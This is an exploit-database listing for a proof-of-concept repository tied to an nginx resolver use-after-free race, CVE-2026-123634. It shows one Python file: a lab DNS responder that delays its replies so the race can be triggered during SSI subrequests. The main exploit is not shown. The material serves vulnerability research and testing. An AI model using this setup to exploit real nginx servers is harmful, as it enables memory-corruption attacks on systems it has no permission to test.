Exploit database

GH-480f87a6af4dfa805caa5f91a0a70e7c

cveforge/cve-2026-123634

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-123634

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
cveforge/cve-2026-123634Revision 202ec7875105

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

dns/dns.py

Python · 1,790 bytes
#!/usr/bin/env python3
"""
Delayed DNS responder for CVE-2026-123634 lab.
Introduces a 400ms delay to give nginx time to trigger the resolver UAF
race condition between concurrent SSI subrequests.
"""
import socket, struct, threading, time, os

HOST    = '0.0.0.0'
PORT    = 53
DELAY_MS = int(os.environ.get('DELAY_MS', '400'))
BACKEND_IP = os.environ.get('BACKEND_IP', '172.30.0.20')

def build_response(data: bytes, ip: str) -> bytes:
    """Build a minimal DNS A record response."""
    tid  = data[:2]
    qname = b''
    i = 12
    while data[i] != 0:
        length = data[i]
        qname += data[i:i+1+length]
        i += 1 + length
    qname += b'\x00'
    qtype  = data[i+1:i+3]
    qclass = data[i+3:i+5]

    flags    = b'\x81\x80'
    qdcount  = b'\x00\x01'
    ancount  = b'\x00\x01'
    nscount  = b'\x00\x00'
    arcount  = b'\x00\x00'
    header   = tid + flags + qdcount + ancount + nscount + arcount

    question = qname + qtype + qclass
    answer   = (
        b'\xc0\x0c'           # name pointer to question
        + b'\x00\x01'         # type A
        + b'\x00\x01'         # class IN
        + b'\x00\x00\x00\x1e' # TTL 30s
        + b'\x00\x04'         # rdlength 4
        + socket.inet_aton(ip)
    )
    return header + question + answer

def handle(data: bytes, addr: tuple, sock: socket.socket):
    time.sleep(DELAY_MS / 1000.0)
    resp = build_response(data, BACKEND_IP)
    sock.sendto(resp, addr)

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((HOST, PORT))
    print(f'[dns] Listening on :{PORT}, delay={DELAY_MS}ms, backend={BACKEND_IP}')
    while True:
        data, addr = s.recvfrom(512)
        threading.Thread(target=handle, args=(data, addr, s), daemon=True).start()

if __name__ == '__main__':
    main()